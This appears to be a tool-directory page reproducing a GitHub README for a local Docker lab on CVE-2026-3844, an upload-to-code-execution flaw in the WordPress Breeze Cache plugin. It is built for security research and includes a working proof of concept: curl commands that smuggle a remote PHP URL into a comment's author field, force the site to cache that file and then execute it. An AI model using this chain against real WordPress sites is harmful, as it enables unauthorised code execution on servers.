Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3844-Lab — Local Docker lab for reproducing CVE-2026-3844, an unauthenticated arbitrary file upload to RCE in the WordPress Breeze Cache plugin. Compares vulnerable 2.4.4 with patched 2.4.5 using isolated services and a least-harm PoC. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-3844-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-3844-lab

CVE-2026-3844-Lab

Local Docker lab for reproducing CVE-2026-3844, an unauthenticated arbitrary file upload to RCE in the WordPress Breeze Cache plugin. Compares vulnerable 2.4.4 with patched 2.4.5 using isolated services and a least-harm PoC.

View Repository
113 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-3844 — Breeze Cache Unauthenticated Arbitrary File Upload to RCE Lab

Local-only Docker lab for reproducing and comparing CVE-2026-3844 behavior in the WordPress Breeze Cache plugin.

This repository demonstrates the vulnerable behavior in Breeze Cache 2.4.4 and compares it with the patched behavior in Breeze Cache 2.4.5. The lab uses two isolated WordPress services, one vulnerable and one patched, plus a local payload server inside the Docker network.

The proof of concept is intentionally least-harm: it does not use a webshell, does not expose a command parameter, does not start a reverse shell, and does not require reading files from inside the container. The proof is based on observable HTTP behavior from the host.


Executive Summary

CVE-2026-3844 affects the Breeze Cache plugin for WordPress up to and including version 2.4.4. The vulnerable code path is related to the plugin’s local Gravatar caching feature, specifically the fetch_gravatar_from_remote() flow.

When the Breeze option Host Files Locally - Gravatars is enabled, vulnerable versions can fetch an attacker-controlled remote file and store it under a public web-accessible cache directory. If the fetched file is PHP, the file may be executed by the web server when requested over HTTP.

This lab reproduces that behavior locally:

  • vuln service: WordPress + Breeze Cache
2.4.4
  • patched service: WordPress + Breeze Cache 2.4.5
  • payload service: local Docker-only payload server
  • PoC: unauthenticated comment-based trigger using a controlled srcset string
  • The expected result is:

    • http://127.0.0.1:8081 / Breeze 2.4.4 → proof PHP is cached and executed
    • http://127.0.0.1:8082 / Breeze 2.4.5 → proof PHP is not cached/readable/executable

    Repository Structure

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── vuln/
    │   └── Dockerfile
    ├── patched/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wordpress.sh
    ├── payload/
    │   └── manual-proof.php
    │   └── proof-cve3844.php
    ├── poc/
    │   └── poc.py
    │   └── requirements.txt
    ├── .gitignore
    ├── README.md
    

    Lab Architecture

    root@kitploit:~
    Host machine
    │
    ├── http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
    ├── http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
    └── http://127.0.0.1:9100  -> local payload server
    
    Docker network
    │
    ├── vuln       -> WordPress vulnerable target
    ├── patched    -> WordPress patched target
    ├── vuln_db    -> MariaDB for vulnerable WordPress
    ├── patched_db -> MariaDB for patched WordPress
    └── payload    -> Python static HTTP server
    

    The WordPress containers fetch the payload through the Docker network URL:

    root@kitploit:~
    http://payload:9100/<payload-file>.php
    

    The host verifies the result through normal HTTP requests to the WordPress services.


    Affected Component

    • Product: Breeze Cache plugin for WordPress
    • Vulnerable version in this lab: 2.4.4
    • Patched version in this lab: 2.4.5
    • Vulnerable function: fetch_gravatar_from_remote()
    • Relevant file: inc/class-breeze-cache-cronjobs.php
    • Required precondition: breeze-store-gravatars-locally must be enabled

    The vulnerable behavior is only reachable when local Gravatar caching is enabled. This option is disabled by default in typical installations, but this lab enables it intentionally to reproduce the vulnerable code path.


    Root Cause Summary

    In Breeze Cache 2.4.4, the Gravatar localization flow can extract a remote URL from avatar-related HTML and pass that URL into fetch_gravatar_from_remote().

    The vulnerable version lacks sufficient validation around the remote file:

    • no strict trusted-host validation for Gravatar sources
    • no reliable file extension allowlist before saving
    • no MIME/content validation before placing the file into a public cache directory
    • fetched file may keep a dangerous extension such as .php

    The resulting file is stored under:

    root@kitploit:~
    /wp-content/cache/breeze-extra/gravatars/
    

    When a PHP file is saved there and then requested through Apache/PHP, the server executes it.

    In Breeze Cache 2.4.5, the patched flow adds validation that prevents this lab payload from being cached as executable PHP. In the local reproduction, the same trigger works against 2.4.4 but does not expose the proof marker against 2.4.5.


    Why This Lab Uses a MU Plugin Helper

    This lab intentionally keeps the payload server local instead of using a public payload host.

    WordPress download_url() and the WordPress HTTP API reject some private Docker hostnames and non-standard ports by default. Public exploit scripts often use public HTTPS payload URLs, which avoid that restriction. This lab does not do that.

    To keep the reproduction fully local, the seed script installs a small local-only MU plugin helper that:

    • allows only the local Docker payload hostnames payload and payload.local
    • allows only the lab ports 80 and 9100
    • auto-approves lab comments
    • disables comment flood checks for deterministic local testing

    This helper does not modify Breeze source code. Both the vulnerable and patched services use real Breeze plugin versions installed through WP-CLI.

    The helper exists only to make the Docker lab deterministic and local-only.


    Safety Model

    This repository is intended for local security research and portfolio demonstration only.

    Guardrails:

    • runs only on localhost and Docker network services
    • no external callback server
    • no public exploit target
    • no reverse shell
    • no interactive shell
    • no cmd= webshell behavior
    • no secrets or real credentials
    • no container file reads for proof
    • proof is observed through HTTP response behavior

    The PoC payload prints benign PHP runtime information:

    root@kitploit:~
    CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<process id>
    host=<container hostname>
    

    This proves code execution context without spawning shell commands.


    Requirements

    • Docker Desktop or Docker Engine
    • Docker Compose v2
    • Python 3.9+
    • Python package: requests

    Install Python dependency:

    root@kitploit:~
    python3 -m venv .venv
    source .venv/bin/activate
    pip install -r poc/requirements.txt
    

    requirements.txt should contain:

    root@kitploit:~
    requests
    

    Quick Start

    Build and start the lab:

    root@kitploit:~
    docker compose down -v --remove-orphans
    docker compose up -d --build
    

    Check service status:

    root@kitploit:~
    docker compose ps
    

    Expected services:

    root@kitploit:~
    vuln        healthy    http://127.0.0.1:8081
    patched     healthy    http://127.0.0.1:8082
    payload     running    http://127.0.0.1:9100
    vuln_db     healthy
    patched_db  healthy
    

    Check seed logs:

    root@kitploit:~
    docker compose logs --tail=120 vuln
    docker compose logs --tail=120 patched
    

    Expected log lines:

    root@kitploit:~
    [seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
    [seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
    

    Verify Lab Readiness

    Check WordPress installation:

    root@kitploit:~
    docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
    docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
    

    Check Breeze versions:

    root@kitploit:~
    docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
    docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
    

    Expected:

    root@kitploit:~
    2.4.4
    2.4.5
    

    Check the vulnerable precondition:

    root@kitploit:~
    docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
    docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
    

    Expected:

    root@kitploit:~
    1
    1
    

    Check that WordPress can fetch the local payload service:

    root@kitploit:~
    docker compose exec vuln wp eval '
    $r = download_url("http://payload:9100/proof-cve3844.php");
    if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
    echo $r . PHP_EOL;
    echo file_get_contents($r);
    @unlink($r);
    ' --allow-root --path=/var/www/html
    

    If proof-cve3844.php does not exist yet, create any temporary file in payload/ or run the PoC once.


    Running the PoC

    Run against the vulnerable service:

    root@kitploit:~
    python3 poc/poc.py --base-url http://127.0.0.1:8081
    

    Expected vulnerable result:

    root@kitploit:~
    [VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
    [+] PHP proof appears to have executed
    

    Example proof output:

    root@kitploit:~
    CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<pid>
    host=<container hostname>
    

    Run against the patched service:

    root@kitploit:~
    python3 poc/poc.py --base-url http://127.0.0.1:8082
    

    Expected patched result:

    root@kitploit:~
    [PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
    

    A redirect such as 301 Moved Permanently is not considered proof. The PoC requires the unique marker to appear in the HTTP response body.


    What the PoC Does

    The PoC performs the following local-only flow:

    1. Generates a unique PHP proof file under payload/.
    2. Serves it through the local payload service.
    3. Posts an unauthenticated WordPress comment with an author value containing:
    root@kitploit:~
    x srcset=http://payload:9100/<unique-payload>.php
    
    1. Requests the WordPress post page to trigger Breeze avatar processing.
    2. Checks the expected public Breeze cache path:
    root@kitploit:~
    /wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
    
    1. Confirms vulnerability only if the unique proof marker appears in the HTTP response.
    2. Removes the generated local payload file unless --keep-payload is used.

    The PoC does not read files from inside the target container. The evidence is collected over HTTP from the host.


    Manual Reproduction

    Create a manual payload:

    root@kitploit:~
    cat > payload/manual-proof.php <<'PHP'
    <?php
    header('Content-Type: text/plain');
    
    echo "CVE-2026-3844_MANUAL_PROOF\n";
    echo "php_sapi=" . php_sapi_name() . "\n";
    echo "user=" . get_current_user() . "\n";
    echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
    echo "pid=" . getmypid() . "\n";
    echo "host=" . gethostname() . "\n";
    PHP
    

    Confirm the payload server serves the PHP source as static text:

    root@kitploit:~
    curl -i http://127.0.0.1:9100/manual-proof.php
    

    Post a comment to the vulnerable WordPress service:

    root@kitploit:~
    curl -i -sS \
      -X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      --data-urlencode 'comment_post_ID=1' \
      --data-urlencode 'comment_parent=0' \
      --data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
      --data-urlencode '[email protected]' \
      --data-urlencode 'url=' \
      --data-urlencode 'comment=manual CVE-2026-3844 proof' \
      --data-urlencode 'submit=Post Comment'
    

    Trigger Breeze processing by rendering the post through the configured WordPress site URL host:

    root@kitploit:~
    curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
    grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
    

    Expected HTML evidence:

    root@kitploit:~
    alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
    

    Request the cached PHP file:

    root@kitploit:~
    curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
    

    Expected vulnerable proof:

    root@kitploit:~
    HTTP/1.1 200 OK
    Content-Type: text/plain;charset=UTF-8
    
    CVE-2026-3844_MANUAL_PROOF
    php_sapi=apache2handler
    user=www-data
    uid=33
    pid=<pid>
    host=<container hostname>
    

    Check payload logs:

    root@kitploit:~
    docker compose logs --tail=50 payload
    

    Expected:

    root@kitploit:~
    GET /manual-proof.php HTTP/1.1" 200
    

    Expected Results

    TargetBreeze VersionExpected Result
    http://127.0.0.1:80812.4.4PHP proof is fetched, cached, and executable
    http://127.0.0.1:80822.4.5PHP proof marker is not exposed

    Cleanup

    Stop and remove containers, networks, and volumes:

    root@kitploit:~
    docker compose down -v --remove-orphans
    

    Remove generated payload files if needed:

    root@kitploit:~
    rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
    

    References

    • NVD — CVE-2026-3844:
      https://nvd.nist.gov/vuln/detail/CVE-2026-3844

    • Patchstack Database — WordPress Breeze Cache Plugin <= 2.4.4 Unauthenticated Arbitrary File Upload via fetch_gravatar_from_remote:
      https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

    • Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Unauthenticated Arbitrary File Upload:
      https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

    • Wordfence Blog — Active exploitation coverage for Breeze Cache vulnerability:
      https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

    • Breeze Cache plugin page:
      https://wordpress.org/plugins/breeze/

    • WordPress plugin downloads used in this lab:

      • Breeze Cache 2.4.4:
        https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
      • Breeze Cache 2.4.5:
        https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
    • WordPress Plugin Trac — Breeze source reference, class-breeze-cache-cronjobs.php:
      https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php

    • WordPress Plugin Trac — Breeze patched source reference, class-breeze-cache-cronjobs.php:
      https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php


    Disclaimer

    This project is for authorized local security research only. Do not run the PoC against systems you do not own or do not have explicit permission to test.

    Download Tool